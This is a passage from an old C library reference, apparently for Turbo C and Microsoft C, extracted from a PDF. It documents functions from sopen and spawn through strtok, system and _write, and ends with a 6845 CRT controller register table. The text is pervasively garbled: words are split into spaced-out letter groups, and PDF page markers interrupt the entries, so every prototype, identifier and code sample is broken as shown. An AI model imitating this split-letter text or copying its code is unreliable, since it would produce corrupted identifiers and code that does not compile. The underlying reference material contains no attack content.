- mode= _DEFAULTMODE har dwar e def aul t
_MAXCOLORMODE gr aphi cs mode wi t h most col or s
_MAXRESMODE gr aphi cs mode wi t h hi ghest r esol ut i on
_TEXTBW40 40x25 16 col or CGA/ Text
_TEXTC40 40x25 16 col or CGA/ Text
_TEXTBW80 80x25 16 shades CGA/ Text
_TEXTC80 80x25 16 col or CGA/ Text
_MRES4COLOR 320x200 4 col or CGA/ Gr aphi cs
_MRESNOCOLOR 320x200 4 col or CGA/ Gr aphi cs
_HRESBW 640x200 2 col or CGA/ Gr aphi cs
_TEXTMONO 80x25 mono MDA/ Text
_MRES16COLOR 320x200 16 col or EGA/ Gr aphi cs
_HRES16COLOR 640x200 16 col or EGA/ Gr aphi cs
_ERESNOCOLOR 640x350 1 col or EGA/ Text
_ERESCOLOR 640x350 64 col or EGA/ Gr aphi cs
_VRES2COLOR 640x480 2 col or VGA/ Gr aphi cs
_VRES16COLOR 640x480 16 col or VGA/ Gr aphi cs
_MRES256COLOR 320x200 256 col or VGA/ Gr aphi cs
_ORESCOLOR 640x400 16 col or CGA/ Gr aphi cs/ Ol i vet t i
_HERCMONO 720x348 2 col or HGC/ Gr aphi cs/ Her cul es

- r et ur ns non- zer o on success; zer o on er r or

: _set vi ewpor t
^MSC: voi d f ar _set vi ewpor t ( shor t x1, shor t y1, shor t x2, shor t y2 )


- pr ot ot ype i n gr aph. h

- def i nes a cl i ppi ng r egi on l i ke ~_set cl i pr gn~( )
- set s t he l ogi cal or i gi n t o t he upper l ef t cor ner coor di nat es
speci f i ed as par amet er s
- ( x1, y1) upper l ef t cor ner of wi ndow
- ( x2, y2) l ower r i ght cor ner of wi ndow

: _set vi sual page
^MSC: shor t f ar _set vi sual page( shor t page )


- pr ot ot ype i n gr aph. h

- set s vi sual page t o t hat speci f i ed
- def aul t page i s zer o
- r et ur ns pr evi ous page number or a negat i ve val ue on er r or

: si n
Pagina 581 di 991
^doubl e si n( doubl e x )


- pr ot ot ype i n mat h. h

- r et ur ns si ne of x
- x must be i n r adi ans

: si nh
^doubl e si nh( doubl e x )


- pr ot ot ype i n mat h. h

- r et ur ns hyper bol i c si ne of x
- x must be i n r adi ans

: sl eep
^TC: voi d sl eep( unsi gned seconds )


- pr ot ot ype i n dos. h

- suspended pr ogr amf or seconds of t i me
- accur at e i n seconds t o l i mi t of MS- DOS cl ock
- no cor r espondi ng MS C f unct i on

: sopen
^i nt sopen( const char *pat h, i nt access, i nt shf l ag, i nt mode )

- pr ot ot ype i n i o. h, al so i ncl ude shar e. h, st at . h & f cnt l . h

- act ual l y a macr o def i ned: open( pat h, ( access | shf l ag) , mode )
- opens f i l e " pat h" and pr epar es i t f or shar ed I / O
- shar i ng mode i s det er mi ned usi ng access, shf l ag and mode
- access i s a combi nat i on of t he f ol l owi ng ( " per mi s" f ol l ows) :

% Read/ Wr i t e Access Fl ags ( mut ual l y excl usi ve) :
O_RDONLY open r ead onl y
O_WRONLY open wr i t e onl y
O_RDWR open r ead/ wr i t e

% Ot her Access Mode Fl ags:
O_APPEND f i l e poi nt er i s pl aced at EOF bef or e each wr i t e
O_CREAT i f f i l e doesn' t exi st , cr eat e wi t h " per mi s" at t r i but es
O_TRUNC i f exi st s, t r uncat e l engt h t o zer o, but l eave f i l e
at t r i but es unchanged
O_BI NARY bi nar y mode
O_TEXT t ext mode
O_EXCL used wi t h O_CREAT, er r or occur s i f f i l e al r eady exi st s
O_NDELAY UNI X onl y

% Per mi ssi on At t r i but es ( i f cr eat i ng) :
S_I WRI TE wr i t e per mi ssi on
S_I READ r ead per mi ssi on
S_I READ | S_I WRI TE r ead/ wr i t e per mi ssi on

- i f O_BI NARY nor O_TEXT i s gi ven, f i l e i s opened i n t r ansl at i on
mode ( O_TEXT) gi ven by gl obal var i abl e _f mode
- r et ur ns non- negat i ve number as f i l e handl e, or - 1 on er r or
: spawn: spawn. . .
^Funct i on spawn( ) , et c. . .

Pagina 582 di 991
i nt spawnl ( i nt mode, char *pat h, char *ar g0,
char *ar g1, . . . , NULL )
i nt spawnl e( i nt mode, char *pat h, char *ar g0,
char *ar g1, . . . , NULL, char *envp[ ] )
i nt spawnl p( i nt mode, char *pat h, char *ar g0,
char *ar g1, . . . , NULL )
i nt spawnl pe( i nt mode, char *pat h, char *ar g0,
char *ar g1, . . . , NULL, char *envp[ ] )
i nt spawnv( i nt mode, char *pat h, char *ar gv )
i nt spawnve( i nt mode, char *pat h, char *ar gv, char *envp[ ] )
i nt spawnvp( i nt mode, char *pat h, char *ar gv )
i nt spawnvpe( i nt mode, char *pat h, char *ar gv, char *envp[ ] )

- pr ot ot ype i n pr ocess. h

- cr eat es & r uns chi l d pr ocesses
- mode i s P_WAI T whi ch put s par ent pr ocess " on hol d" unt i l chi l d
compl et es execut i on; P_NOWAI T whi ch cont i nues t o r un par ent
whi l e chi l d r uns ( not suppor t ed yet ) ; or P_OVERLAY whi ch over l ays
chi l d i n memor y l ocat i on f or mer l y occupi ed by par ent ( same as
exec. . . cal l )
- use P_WAI T t o per f or ma DOS shel l
- r et ur ns 0 f or SUCCESS and non- zer o f or f ai l ur e based on t he
er r or l evel set by t he appl i cat i on

- see ~exec. . . ~
: _spl i t pat h
% MSC: voi d _spl i t pat h( char *pat h, char *dr i ve, char *di r ,
% char *f name, char *ext )

- pr ot ot ype i n st dl i b. h

- di ssect s t he pat h i nt o component s
- pat h = f ul l y qual i f i ed f i l e name t o di ssect
- dr i ve = i s t he dr i ve l et t er f ol l owed by a col on i f dr i ve was
speci f i ed i n st r i ng
- di r = any di r ect or i es i ncl uded i n " pat h" pl us ' \ '
- f name = base f i l ename w/ o ext ensi on
- ext = f i l e ext ensi on
- t he maxi mumsi ze of each component i s: _MAX_DRI VE, _MAX_DI R,
_MAX_FNAME, _MAX_EXT ( al l i ncl ude t he NULL and ar e act ual l y
much l ar ger t han needed, except _MAX_DRI VE i s exact f i t )

- see ~_makepat h~( )
: spr i nt f
^i nt spr i nt f ( char *s, const char *f or mat [ , ar g1, ar g2, . . . ] )


- pr ot ot ype i n st di o. h

- pr i nt s f or mat t ed dat a i nt o st r i ng s


- see ~PRI NTF SPEC~ f or f or mat speci f i er s
: sqr t
^doubl e sqr t ( doubl e x )


- pr ot ot ype i n mat h. h

- r et ur ns squar e r oot of x, or 0 on er r or

: sr and
Pagina 583 di 991
^voi d sr and( unsi gned seed )


- pr ot ot ype i n st dl i b. h

- r e- i ni t i al i zes t he r andomnumber gener at or wi t h seed
- see ~r and~( )
: sscanf
^i nt sscanf ( const char *s, const char *f or mat , ar g1, ar g2, . . . )


- pr ot ot ype i n st di o. h

- see ~scanf ~( ) and ~SCANF SPECS~
: ssi gnal
^i nt ( *ssi gnal ( i nt si g, i nt ( *act i on) ) ) ) ( voi d)


- pr ot ot ype i n si gnal . h

- ssi gnal ( ) and ~gsi gnal ~( ) i mpl ement a sof t war e- si gnal i ng f aci l i t y
wher e sof t war e si gnal s ar e i nt eger s 1- 15
- ssi gnal ( ) est abl i shes an act i on r out i ne f or ser vi ci ng a si gnal
wher e si g i s associ at ed wi t h t he act i on r out i ne
- ssi gnal ( ) r et ur ns act i on pr evi ousl y est abl i shed f or ssi gnal ( )
or SI G_DFL
- UNI X based

: st ackavai l
^MSC: si ze_t st ackavai l ( voi d )


- pr ot ot ype i n mal l oc. h

- used t o det er mi ne appr oxi mat e memor y avai l abl e on t he st ack f or
al l ocat i on vi a ~al l oca~( )
- r et ur ns appr oxi mat e memor y avai l abl e on t he st ack
: st at
% i nt st at ( char *pat hname, st r uct st at *buf f )
% i nt f st at ( char *handl e, st r uct st at *buf f )


- pr ot ot ype i n st at . h

- st at ( ) and ~f st at ~( ) st or e i nf or mat i on about a gi ven open f i l e
( or di r ect or y) i n t he st at st r uct ur e ( i n st at . h)
- st at ( ) get s i nf or mat i on about t he open f i l e or di r ect or y, whi l e
f st at ( ) get s i nf o about t he open f i l e associ at ed wi t h handl e
- r et ur ns 0 i f successf ul , el se - 1 on er r or

: _st at us87
^unsi gned i nt _st at us87( voi d )


- pr ot ot ype i n f l oat . h

- r et ur ns f l oat i ng- poi nt st at us wor d & ot her condi t i ons det ect ed
by 8087/ 80287 except i on handl er
- see ~_cl ear 87~( ) ~_cont r ol 87~( ) ( f l oat . h al so)
: st i me
^i nt st i me( t i me_t *t p )


Pagina 584 di 991
- pr ot ot ype i n t i me. h

- set s syst emt i me & dat e, wher e t p t o val ue of t i me i n seconds
si nce 00: 00: 00 GMT J an 1, 1970

: st r . . . : st r i ngs
^St r i ng Mani pul at i on Funct i ons

- pr ot ot ype i n st r i ng. h ( a f ew al so exi st i n st dl i b. h)

% Conver si on:
char *~st r l wr ~( char *s )
char *~st r r ev~( char *s )
doubl e ~st r t od~( const char *s, char **endpt r )
l ong ~st r t ol ~( const char *s, char **endpt r , i nt r adi x )
unsi gned l ong ~st r t oul ~( const char *s, char **endpt r , i nt r adi x )
char *~st r upr ~( char *s )
char *~st r dup~( const char *s )


% Sear ch:
char *~st r chr ~( char *s, i nt c )
si ze_t ~st r cspn~( const char *s1, const char *s2 )
char *~st r pbr k~( const char *s1, const char *s2 )
char *~st r r chr ~( const char *s, i nt c )
si ze_t ~st r spn~( const char *s1, const char *s2 )
char *~st r st r ~( const char *s1, const char *s2 )
char *~st r t ok~( char *s1, const char *s2 )


% Compar i son:
i nt ~st r cmp~( const char *s1, const char *s2 )
i nt ~st r cmpi ~( const char *s1, const char *s2 )
i nt ~st r i cmp~( const char *s1, const char *s2 )
i nt ~st r ncmp~( const char *s1, const char *s2, si ze_t maxl en )
i nt ~st r ncmpi ~( const char *s1, const char *s2, si ze_t maxl en )
i nt ~st r ni cmp~( const char *s1, const char *s2, si ze_t maxl en )


% Copy:
char *~st pcpy~( char *dest , const char *sr c )
char *~st r cpy~( char *dest , const char *sr c )
char *~st r cat ~( char *dest , const char *sr c )
char *~st r ncat ~( char *dest , const char *sr c, si ze_t maxl en )
char *~st r ncpy~( char *dest , const char *sr c, si ze_t maxl en )


% Mi scel l aneous:
si ze_t ~st r l en~( const char *s )
char *~st r nset ~( char *s, i nt ch, si ze_t n )
char *~st r set ~( char *s, i nt ch )
char *~st r er r or ~( i nt er r num)
char *~_st r er r or ~( const char *s )

: st pcpy
^char *st pcpy( char *dest , const char *sr c )


- pr ot ot ype i n st r i ng. h

- copi es sr c i nt o dest
- r et ur ns dest +~st r l en~( sr c)

Pagina 585 di 991
: st r cat
^char *st r cat ( char *dest , const char *sr c )


- pr ot ot ype i n st r i ng. h

- appends sr c t o dest

: st r chr
^char *st r chr ( const char *st r , i nt c )


- pr ot ot ype i n st r i ng. h

- scans st r f or f i r st occur r ence of c
- r et ur ns poi nt er t o c i n st r , or NULL i f not f ound

: st r cmp
^i nt st r cmp( const char *st r 1, const char *st r 2 )


- pr ot ot ype i n st r i ng. h

- compar es st r 1 t o st r 2
- r et ur ns < 0 i f st r 1 < st r 2, = 0 i f st r 1 = st r 2, or > 0
i f st r 1 > st r 2, usi ng a si gned compar i son

: st r cpy
^char *st r cpy( char *dest , const char *sr c )


- pr ot ot ype i n st r i ng. h

- copi es sr c i nt o dest
- r et ur ns dest

: st r cspn
^si ze_t st r cspn( const char *st r 1, const char *st r 2 )


- pr ot ot ype i n st r i ng. h

- r et ur ns l engt h of i ni t i al segment of st r 1 t hat consi st s
ent i r el y of char act er s NOT f r omst r 2

: _st r dat e: _st r t i me
% MSC: char *_st r dat e( char *dat e )
% MSC: char *_st r t i me( char *t i me )


- pr ot ot ype i n t i me. h

- dat e = f or mat t ed dat e st r i ng: mm/ dd/ yy ( 9 byt es i nc NULL)
- t i me = f or mat t ed t i me st r i ng: hh: mm: ss ( 9 byt es i nc NULL)
- r et ur ns poi nt er t o t he par amet er st r i ng

- Tur bo C uses ~st r dat e~( ) and ~st r t i me~( )

: st r dup
^char *st r dup( const char *st r )


- pr ot ot ype i n st r i ng. h
Pagina 586 di 991

- dupl i cat es st r , get t i ng space wi t h a cal l t o ~mal l oc~( )
- r et ur ns poi nt er t o dupl i cat ed st r i ng, or NULL i f space coul d not
be al l ocat ed

: _st r er r or
^MSC: char *_st r er r or ( char *st r i ng )


- pr ot ot ype i n st r i ng. h

- cr eat es an er r or message based on t he user suppl i ed st r i ng
f ol l owed by a col on, t hen t he l i br ar y er r or message
- st r i ng = user er r or message st r i ng
- r et ur ns poi nt er t o t he gener at ed st r i ng
- does not pr i nt t he st r i ng


: st r er r or
^char *st r er r or ( char *st r )


- pr ot ot ype i n st r i ng. h

- st r shoul d cont ai n your cust omi zed er r or message t o whi ch a syst em
er r or message wi l l be appended
- al l ows you t o gener at e cust omi zed er r or messages, r et ur ni ng a
poi nt er t o a nul l - t er mi nat ed st r i ng cont ai ni ng an er r or message
- i f st r i s NULL, t he r et ur n val ue cont ai ns t he most r ecent l y
gener at ed syst emer r or message; t hi s st r i ng i s nul l - t er mi nat ed
- i f st r i s not NULL, t he r et ur n val ue cont ai ns, a col on, a space,
t he most r ecent l y gener at ed syst emer r or message, and a newl i ne;
wi t h l engt h of st r bei ng 94 char act er s or l ess
- t hi s f unct i on gener at es t he er r or st r i ng but does NOT pr i nt i t
- f or accur at e er r or - handl i ng, st r er r or shoul d be cal l ed as soon
as a l i br ar y r out i ne gener at es an er r or r et ur n

: st r i cmp
^i nt st r i cmp( const char *st r 1, const char *st r 2 )


- pr ot ot ype i n st r i ng. h

- compar es st r 1 t o st r 2 wi t hout case sensi t i vi t y

- r et ur ns < 0 i f st r 1 < st r 2
= 0 i f st r 1 = st r 2
> 0 i f st r 1 > st r 2

usi ng a si gned compar i son

: st r l en
^si ze_t st r l en( const char *st r )


- pr ot ot ype i n st r i ng. h

- r et ur ns number of char act er s i n st r , not count i ng t he nul l
t er mi nat i ng char act er

: st r l wr
^char *st r l wr ( char *st r )

Pagina 587 di 991

- pr ot ot ype i n st r i ng. h

- conver t s st r t o al l l ower case

: st r ncat
^char *st r ncat ( char *dest , const char *sr c, si ze_t maxl en )


- pr ot ot ype i n st r i ng. h

- appends up t o maxl en char act er s of sr c t o dest and t hen
appends a nul l char act er

: st r ncmp
^i nt st r ncmp( const char *st r 1, const char *st r 2, si ze_t maxl en )


- pr ot ot ype i n st r i ng. h

- compar es st r 1 t o st r 2 up t o maxl en char act er s

- r et ur ns < 0 i f st r 1 < st r 2
= 0 i f st r 1 = st r 2
> 0 i f st r 1 > st r 2

usi ng a si gned compar i son

: st r ncpy
^char *st r ncpy( char *dest , const char *sr c, si ze_t maxl en )


- pr ot ot ype i n st r i ng. h

- copi es exact l y maxl en char act er s f r omsr c t o dest , t r uncat i ng
or nul l - paddi ng dest
- dest mi ght NOT be nul l - t er mi nat ed i f l engt h of sr c >= maxl en

: st r ni cmp
^i nt st r ni cmp( const char *st r 1, const char *st r 2, si ze_t maxl en )


- pr ot ot ype i n st r i ng. h

- compar es st r 1 t o st r 2 up t o maxl en char s i gnor i ng case

- r et ur ns < 0 i f st r 1 < st r 2
= 0 i f st r 1 = st r 2
> 0 i f st r 1 > st r 2

usi ng a si gned compar i son

: st r nset
^char *st r nset ( char *st r , i nt ch, si ze_t n )


- pr ot ot ype i n st r i ng. h

- set s up t o f i r st n byt es of st r t o ch
- i f n > ~st r l en~( st r ) t hen st r l en( st r ) r epl aces n

: st r pbr k
^char *st r pbr k( const char *st r 1, const char *st r 2 )
Pagina 588 di 991


- pr ot ot ype i n st r i ng. h

- scans st r 1 f or f i r st occur r ence of any char act er appear i ng i n st r 2
- r et ur ns poi nt er t o f i r st occur r ence; NULL i f not f ound

: st r r chr
^char *st r r chr ( const char *st r , i nt c )


- pr ot ot ype i n st r i ng. h

- scans a st r i ng i n r ever se di r ect i on f or speci f i ed char act er c
- st r r chr f i nds t he LAST occur r ence of c i n st r
- r et ur ns poi nt er t o LAST occur r ence, or NULL i f not f ound

: st r r ev
^char *st r r ev( char *st r )


- pr ot ot ype i n st r i ng. h

- r ever ses al l char act er s i n st r , except nul l t er mi nat or

: st r set
^char *st r set ( char *st r , i nt ch )


- pr ot ot ype i n st r i ng. h

- set s al l char act er s i n st r t o ch

: st r spn
^si ze_t st r spn( const char *st r 1, const char *st r 2 )


- pr ot ot ype i n st r i ng. h

- r et ur ns l engt h of i ni t i al segment of st r 1 t hat consi st s
ent i r el y of char act er s f r omst r 2

: st r st r
^char *st r st r ( const char *anchor , const char *t est pat t er n )


- pr ot ot ype i n st r i ng. h

- r et ur ns a poi nt er wi t hi n anchor wher e t est pat t er n i s f ound,
or NULL i f t est pat t er n i s not f ound i n anchor
- may be i ncompat i bl e wi t h Mi cr osof t C

: st r t od
^doubl e st r t od( const char *st r , char **endpt r )


- pr ot ot ype i n st r i ng. h

- conver t s st r i ng st r t o a doubl e val ue
- st ops r eadi ng at t f i r st char act er t hat cannot be i nt er pr et ed
as par t of a doubl e val ue, r et ur ni ng i n *endpt r
- st r must have f or mat :

Pagina 589 di 991
[ ws] [ sn] [ ddd] [ . ] [ ddd] [ f mt [ sn] ddd]

wher e [ ws] = opt i onal whi t espace
[ sn] = opt i onal si gn ( +- )
[ ddd] = opt i onal di gi t s
[ f mt ] = opt i on e or E
[ . ] = opt i onal deci mal poi nt

: st r t ok
^char *st r t ok( char *st r 1, const char *st r 2 )


- pr ot ot ype i n st r i ng. h

- par ses st r 1 f or t okens and separ at or s, wher e separ at or s ar e
def i ned i n st r 2
- f i r st cal l r et ur ns a poi nt er t o t he f i r st char act er of t he f i r st
t oken i n st r 1 and wr i t es a nul l char act er i nt o st r 1 i mmedi at el y
f ol l owi ng t he r et ur ned t oken; subsequent cal l s wi t h NULL f or
t he f i r st ar gument wi l l wor k t hr ough t he st r i ng st r 1 i n t hi s way
unt i l no t okens r emai n
- when t okens ar e exhaust ed, r et ur ns NULL

: st r t ol : st r t oul
% l ong st r t ol ( const char *st r , char **endpt r , i nt base )
% unsi gned l ong st r t oul ( const char *s, char **endpt r , i nt r adi x )

- pr ot ot ype i n st r i ng. h

- conver t s st r i ng st r t o l ong ( or unsi gned l ong) val ue
- st ops r eadi ng at f i r st char act er t hat cannot be i nt er pr et ed
as par t of a l ong val ue, r et ur ni ng i n *endpt r
- st r must have f or mat :

[ ws] [ sn] [ 0] [ x] [ ddd]

wher e [ ws] = opt i onal whi t espace
[ sn] = opt i onal si gn ( +- )
[ 0] = opt i onal zer o
[ x] = opt i onal x or X
[ ddd] = opt i onal di gi t s

- base i s bet ween 2 and 36; i f 0, f i r st f ew char act er s of st r
det er mi nes base t o be used ( oct , hex or dec) any ot her val ue
of base i s i l l egal
: st r upr
^char *st r upr ( char *st r )


- pr ot ot ype i n st r i ng. h

- conver t s t o al l upper case

: swab
^voi d swab( char *sr c, char *dest , i nt nbyt es )


- pr ot ot ype i n st dl i b. h

- copi es nbyt es byt es f r omsr c i nt o dest , wi t h adj acent even and
odd- byt e posi t i ons bei ng swapped
- nbyt es shoul d t her ef or e be an even number
- a st andar d way of per f or mi ng t hi s i s t o use t he ~XCHG~ i nst r uct i on
Pagina 590 di 991
: syst em
^i nt syst em( const char *command )


- pr ot ot ype i n st dl i b. h

- i nvokes MS- DOS COMMAND. COM t o execut e " command" , r et ur ni ng exi t
st at us of COMMAND. COM; t he COMSPEC envi r onment var i abl e i s
aut omat i cal l y sear ched i f necessar y
- a CR/ LF pai r i n t he command st r i ng wi l l r esul t i n an er r or
- see ~exec. . . ~ ~spawn. . . ~
: t an
^doubl e t an( doubl e x )


- pr ot ot ype i n mat h. h

- r et ur ns t angent of x
- x must be i n r adi ans

: t anh
^doubl e t anh( doubl e x )


- pr ot ot ype i n mat h. h

- r et ur ns hyper bol i c t angent of x
- x must be i n r adi ans

: t el l
^l ong t el l ( i nt handl e )


- pr ot ot ype i n i o. h

- r et ur ns of f set wi t hi n f i l e cor r espondi ng t o handl e
- r et ur ns - 1L on er r or

- see ~l seek~( )
: t empnam: t mpnam
% MSC: char *t empnam( char *di r , char *pr ef i x )
% MSC: char *t mpnam( char *st r i ng )


- pr ot ot ype i n st di o. h

- st r i ng = buf f er t o r ecei ve t empor ar y f i l ename
- t empnam( ) cr eat es a t empor ar y f i l e i n t he speci f i ed di r ect or y
" di r " usi ng t he " pr ef i x" as t he begi nni ng of t he f i l ename;
memor y f or t he r esul t i ng f i l ename i s al l ocat e vi a ~mal l oc~( ) and
must be f r eed wi t h ~f r ee~( )
- t mpnam( ) cr eat es t he t empor ar y f i l e i n t he cur r ent di r ect or y
- r et ur n a poi nt er t o t he new name or NULL on er r or

: t i me
^t i me_t t i me( t i me_t *t l oc )


- pr ot ot ype i n t i me. h

- gi ves cur r ent t i me i n seconds el apsed si nce 00: 00: 00 GMT,
J anuar y 1, 1970, and st or es i t i nt o t l oc

Pagina 591 di 991
: t mpf i l e
^MSC: FI LE *t mpf i l e( voi d )


- pr ot ot ype i n st di o. h

- cr eat es and opens a t empor ar y st r eamf i l e
- r et ur ns st r eampoi nt er or NULL on er r or
- f i l e i s aut omat i cal l y del et ed when cl osed or r mt mp( ) i s cal l ed
- ~r mt mp~( ) wor ks onl y i f i n or i gi nal di r ect or y
- f i l e i s opened i n bi nar y wr i t e mode; except MS C ver si on 4. 0
opened f i l e i n wr i t e t r ansl at e mode

: t oasci i
^i nt t oasci i ( i nt c )


- pr ot ot ype i n ct ype. h

- cl ear s al l but l ower 7 bi t s i n c, conver t i ng t o ASCI I

: _t ol ower
^i nt _t ol ower ( i nt c )


- pr ot ot ype i n ct ype. h

- conver t s c t o l ower case i f c i s UPPER case
- use ~t ol ower ~( ) pr ef er ent i al l y

: t ol ower
^i nt t ol ower ( i nt c )


- pr ot ot ype i n ct ype. h

- conver t s c t o LOWER case onl y i f c i s UPPER case

: _t oupper
^i nt _t oupper ( i nt c )


- pr ot ot ype i n ct ype. h

- conver t s c t o UPPER case onl y i f c i s LOWER case
- use ~t oupper ~( ) pr ef er ent i al l y

: t oupper
^i nt t oupper ( i nt c )


- pr ot ot ype i n ct ype. h

- conver t s c t o UPPER case onl y i f c i s LOWER case

: t zset
^voi d t zset ( voi d )


- pr ot ot ype i n t i me. h

- i ncl uded f or UNI X compat i bi l i t y but does not hi ng i n DOS

Pagina 592 di 991
: ul t oa
^char *ul t oa( unsi gned l ong val ue, char *st r i ng, i nt r adi x )


- pr ot ot ype i n st dl i b. h

- conver t s val ue t o st r i ng wher e r adi x speci f i es base
( 2- 36) f or conver si on

: umask
^MSC: i nt umask( i nt per mi ssi on )


- pr ot ot ype i n i o. h, sys\ t ypes. h, sys\ st at . h

- changes per mi si on i n whi ch a f i l e may be accessed
- per mi ssi on = S_I WRI TE wr i t e i s f or bi dden
= S_I READ r ead i s f or bi dden ( i gnor ed by DOS)
= S_I WRI TE | S_I READ no r eadi ng or wr i t i ng

- r et ur ns pr evi ous per mi ssi on val ue

: unget c
^i nt unget c( i nt c, FI LE *f p )


- pr ot ot ype i n st di o. h

- pushes char act er " c" back i nt o f i l e st r eam" f p"

: unget ch
^voi d unget ch( i nt c )


- pr ot ot ype i n coni o. h

- si mi l ar t o ~unget c~( ) except pushes char act er back t o keyboar d buf f er

: uni xt odos
% TC: voi d uni xt odos( l ong ut i me, st r uct dat e *dat ept r ,
% st r uct t i me *t i mept r )


- pr ot ot ype i n dos. h

- conver t s dat e & t i me t o DOS f or mat
- no cor r espondi ng MS C f unct i on

: unl i nk
^i nt unl i nk( const char *f i l ename )


- pr ot ot ype i n dos. h or i o. h

- r et ur ns 0 i f successf ul , el se - 1
- at t empt s t o del et e an open f i l e may damage t he f i l e syst em

: unl ock
^TC: i nt unl ock( i nt handl e, l ong of f set , l ong l engt h )


- pr ot ot ype i n i o. h

Pagina 593 di 991
- unl ock( ) r emoves l ocks pl aced on a f i l e r egi on by l ock( )
- r et ur ns 0 on success, el se - 1 on er r or
- al l l ocks must be r el eased bef or e pr ogr amt er mi nat i on
- MS C uses ~l ocki ng~( )
- see ~l ock C~
: ut i me
^MSC: i nt ut i me( char *pat h, st r uct ut i mbuf *t i mes )


- pr ot ot ype i n sys\ t ypes. h, sys\ ut i me. h

- pat h = any val i d DOS f i l ename
- t i mes = t i me val ues i n st r uct ur e ( modt i me shoul d be set )
- i f wr i t e access t o t he f i l e i s avai l abl e t he f i l e t i me i s updat ed
f r omt he modt i me f i el d
- i f t i mes i s NULL t he f i l e dat e i s set t o cur r ent t i me
- r et ur ns 0 on success or - 1 on er r or

st r uct ut i mbuf
{
t i me_t act i me; - access t i me ( not used i n DOS)
t i me_t modt i me; - modi f i cat i on t i me
};

: vf pr i nt f
^i nt vf pr i nt f ( FI LE *st r eam, const char *f or mat , va_l i st par am)


- pr ot ot ype i n st di o. h

- sends f or mat t ed out put t o a st r eam

: vf scanf
^i nt vf scanf ( FI LE *st r eam, const char *f or mat , va_l i st ar gp )


- pr ot ot ype i n st di o. h

- l i ke ~f scanf ~( ) , except ar gument s accept ed f r omva_ar g ar r ay f r om
va_l i st par m

: vpr i nt f
^i nt vpr i nt f ( const char *f or mat , va_l i st par am)


- pr ot ot ype i n st di o. h

- sends f or mat t ed out put t o st dout

: vscanf
^i nt vscanf ( const char *f or mat , va_l i st ar gp )


- pr ot ot ype i n st di o. h

- l i ke ~scanf ~( ) , except ar gument s accept ed f r omva_ar g ar r ay f r om
va_l i st par m

: vspr i nt f
^i nt vspr i nt f ( char *st r i ng, const char *f or mat , va_l i st par am)


- pr ot ot ype i n st di o. h
Pagina 594 di 991

- sends f or mat t ed out put t o a st r i ng

: vsscanf
% i nt vsscanf ( const char *st r i ng, const char *f or mat , va_l i st ar gp )


- pr ot ot ype i n st di o. h

- l i ke ~sscanf ~( ) , except ar gument s accept ed f r omva_l i st par m

: _wr apon
^MSC: shor t f ar _wr apon( shor t wr ap )


- pr ot ot ype i n gr aph. h

- set s wr appi ng/ t r uncat i ng of t ext
- wr ap = _GWRAPOFF t r uncat es t ext at wi ndow bor der
= _GWRAPON wr aps l i ne at wi ndow bor der

- r et ur ns pr evi ous wr ap val ue

: _wr i t e
^TC: i nt _wr i t e( i nt handl e, char *buf , i nt count )


- pr ot ot ype i n i o. h

- wr i t es " count " byt es f r om" buf " t o f i l e or devi ce at " handl e"
- count cannot be gr eat er t hat 65534
- i s a di r ect cal l t o MS- DOS wr i t e f unct i on ~I NT 21, 40~
- does NO conver si on of CR/ LFs; al l out put i s bi nar y
- r et ur ns a count of byt es wr i t t en or - 1 on er r or
- MS C uses ~_dos_wr i t e~( )

- see ~wr i t e~( ) ~_open~( ) ~_cr eat ~( ) ~_r ead~( )

: wr i t e
^i nt wr i t e( i nt handl e, char *buf , i nt count )


- pr ot ot ype i n i o. h

- wr i t es " count " byt es f r om" buf " t o f i l e or devi ce at " handl e"
- conver t s LF t o CR- LF f or t ext out put
- r et ur ns a count of byt es wr i t t en ( excl udi ng any CRs
gener at ed f or a t ext f i l e) , or - 1 on er r or
: st dar g: va_st ar t : va_end: va_l i st
^Exampl e of var i abl e ar gument s i n C

voi d mypr i nt f ( char *f or mat , . . . )
{
va_l i st ar gpt r ;

va_st ar t ( ar gpt r , f or mat ) ;
vspr i nt f ( t ext , f or mat , ar gpt r ) ;
va_end ( ar gpt r ) ;
wr i t e ( 1, t ext , st r l en ( t ext ) ) ;
}



Pagina 595 di 991
@Har dwar e Dat a and Speci f i cat i ons
: 6845: CRTC
^6845 - Mot or ol a CRT Cont r ol l er

3B0- 3BB Monochr ome Moni t or Adapt er
3D0- 3DC Col or Gr aphi cs Adapt er ( mapped si mi l ar l y)

3B0/ 3D0 por t addr ess decodes t o 3B4/ 3D4
3B1/ 3D1 por t addr ess decodes t o 3B5/ 3D5
3B2/ 3D2 por t addr ess decodes t o 3B4/ 3D4
3B3/ 3D3 por t addr ess decodes t o 3B5/ 3D5
3B4/ 3D4 6845 i ndex r egi st er , sel ect s whi ch r egi st er [ 0- 11h]
i s t o be accessed t hr ough por t 3B5/ 3D5
3B5/ 3D5 6845 dat a r egi st er [ 0- 11h] sel ect ed by por t 3B4/ 3D4,
r egi st er s 0C- 0F may be r ead. I f a r ead occur s
wi t hout t he adapt er i nst al l ed, FFh i s r et ur ned.
3B6/ 3D6 por t addr ess decodes t o 3B4/ 3D4
3B7/ 3D7 por t addr ess decodes t o 3B5/ 3D5
3B8/ 3D8 6845 mode cont r ol r egi st er
3B9/ 3D9 col or sel ect r egi st er on col or adapt er
3BA/ 3DA st at us r egi st er ( r ead onl y)
3BB/ 3DB l i ght pen st r obe r eset
3DC pr eset l i ght pen l at ch
3DF CRT/ CPU page r egi st er ( PCj r onl y)

% Regi st er s: Accessed t hr ough por t s 3B5 & 3D5 VALI D VALUES
% MONO CO40 CO80 GRPH
00 - Hor i z. t ot al char act er s 61 38 71 38
01 - Hor i z. di spl ayed char act er s per l i ne 50 28 50 28
02 - Hor i z. synch posi t i on 52 2D 5A 2D
03 - Hor i z. synch wi dt h i n char act er s 0F 0A 0A 0A
04 - Ver t . t ot al l i nes 19 1F 1F 7F
05 - Ver t . t ot al adj ust ( scan l i nes) 06 06 06 06
06 - Ver t . di spl ayed r ows 19 19 19 64
07 - Ver t . synch posi t i on ( char act er r ows) 19 1C 1C 70
08 - I nt er l ace mode 02 02 02 02
09 - Maxi mumscan l i ne addr ess 0D 07 07 01
0A - Cur sor st ar t ( scan l i ne) 0B 06 06 06
0B - Cur sor end ( scan l i ne) 0C 07 07 07
0C - St ar t addr ess ( MSB) 00 00 00 00
0D - St ar t addr ess ( LSB) 00 00 00 00
0E - Cur sor addr ess ( MSB) ( r ead/ wr i t e) 00 - - - - - -
0F - Cur sor addr ess ( LSB) ( r ead/ wr i t e) 00 - - - - - -
10 - Li ght pen ( MSB) ( r ead onl y) - - - - - - - -
11 - Li ght pen ( LSB) ( r ead onl y) - - - - - - - -

